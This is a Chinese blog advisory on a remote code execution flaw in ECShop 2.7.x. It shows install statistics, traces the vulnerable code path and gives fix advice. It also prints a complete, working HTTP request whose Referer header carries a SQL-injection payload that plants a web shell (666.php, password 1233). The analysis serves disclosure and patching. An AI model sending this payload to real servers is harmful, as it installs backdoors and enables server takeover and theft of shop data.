ECSHOP网站被黑,挂黑链了怎么办 ECSHOP多个版本远程代码执行漏洞

  • A+
所属分类:漏洞防御

ECSHOP网站被黑,挂黑链了怎么办 ECSHOP多个版本远程代码执行漏洞


流行的购物系统-----ECSHOP被曝出远程代码执行漏洞。攻击者可利用代码执行漏洞远程在服务器上执行命令,从而控制服务器,获取敏感数据,甚至导致内网沦陷。该漏洞在2017就已经存在,最近才被公布,相关用户最好进行安全检查,及时确认是否被入侵并修复漏洞并去掉后门。ECShop是国内最流行的购物系统之一。是上海商派网络科技有限公司(ShopEx)旗下的B2C独立网店系统,基于PHP语言及MYSQL数据库构架开发的跨平台开源程序。建议使用该系统的用户及时检查是否存在该漏洞,避免造成损失。


0x01 分布概况

目前根据FOFA统计,全球共计有21450个ECSHOP的用户;

下面是全球分布情况(非漏洞影响情况),其中中国最多,大概有18400个,美国1735个,其他国家用户数量不多于300:

ECSHOP网站被黑,挂黑链了怎么办 ECSHOP多个版本远程代码执行漏洞

下面是全球分布情况(非漏洞影响情况),其中浙江10563,北京2227,广东738,河南655:

ECSHOP网站被黑,挂黑链了怎么办 ECSHOP多个版本远程代码执行漏洞

漏洞危害

严重

漏洞危害

非全版本受影响,仅在2.7.x版本受影响,3.0.x版本不存在该漏洞


0x02 漏洞原理

远程代码执行漏洞

该漏洞无需登录即可利用,由于display方法变量可控,再配合SQL注入即可达到代码执行,首先看user.php文件,把REFERER赋值给$back_act

ECSHOP网站被黑,挂黑链了怎么办 ECSHOP多个版本远程代码执行漏洞

接着把$back_act传递给模板变量,然后调用display展示出来

ECSHOP网站被黑,挂黑链了怎么办 ECSHOP多个版本远程代码执行漏洞

跟进dispaly方法,再display中又调用了insert_mod方法

ECSHOP网站被黑,挂黑链了怎么办 ECSHOP多个版本远程代码执行漏洞跟进(/includes/cls_template.php文件中)insert_mod方法,返回了一个动态函数,这里可以把$fun赋值为"ads"

ECSHOP网站被黑,挂黑链了怎么办 ECSHOP多个版本远程代码执行漏洞在(/includes/lib_insert.php文件中)insert_ads方法中,$arr['id']和$arr['num']这两个变量外部均可控,在构造攻击向量的过程中执行的SQL语句如下。可见$arr['id']和$arr['num']没有经过任何处理就插入到了SQL语句中

ECSHOP网站被黑,挂黑链了怎么办 ECSHOP多个版本远程代码执行漏洞

调用了fetch方法,参数由$row['position_style']变量赋值,这一变量同样可控

ECSHOP网站被黑,挂黑链了怎么办 ECSHOP多个版本远程代码执行漏洞

fetch中调用_eval方法,该方法可执行代码

ECSHOP网站被黑,挂黑链了怎么办 ECSHOP多个版本远程代码执行漏洞

经过fetch_str、select、get_val,make_var方法,最终执行代码。这里说一下,如果存在代码执行,则肯定存在SQL注入,但对于利用的便捷性,还是代码执行用起来比较方便。

最终payload,会生成666.php,密码1233

GET /user.php?act=login HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xm l,application/xm l;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Cookie: PHPSESSID=9odrkfn7munb3vfksdhldob2d0; ECS_ID=1255e244738135e418b742b1c9a60f5486aa4559; ECS[visit_times]=1
Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:280:"*/ union select 1,0x272f2a,3,4,5,6,7,8,7b24617364275d3b617373657274286261736536345f6465636f646528275a6d6c735a56397764585266593239756447567564484d6f4a7a59324e6935776148416e4c4363385033426f6343426c646d46734b43526655453954564673784d6a4d7a58536b374944382b4a796b3d2729293b2f2f7d787878,10-- -";s:2:"id";s:3:"'/*";}
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

修复建议:

1 在官网上下载ECSHOP最新版。

2 在/includes/lib_insert.php文件中140,271,370行加上如下两行代码把可控变量进行强制类型转换即可。

ECSHOP网站被黑,挂黑链了怎么办 ECSHOP多个版本远程代码执行漏洞

漏洞POC

目前FOFA客户端平台已经更新ECSHOP远程代码执行检测POC。

ECSHOP网站被黑,挂黑链了怎么办 ECSHOP多个版本远程代码执行漏洞

对于缺乏专业维护人员的网站,建议向 360°网站管家 咨询

  • 微信 wzgj360
  • 联系免费答疑
  • weinxin
  • QQ 613049615
  • 联系免费答疑
  • weinxin

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: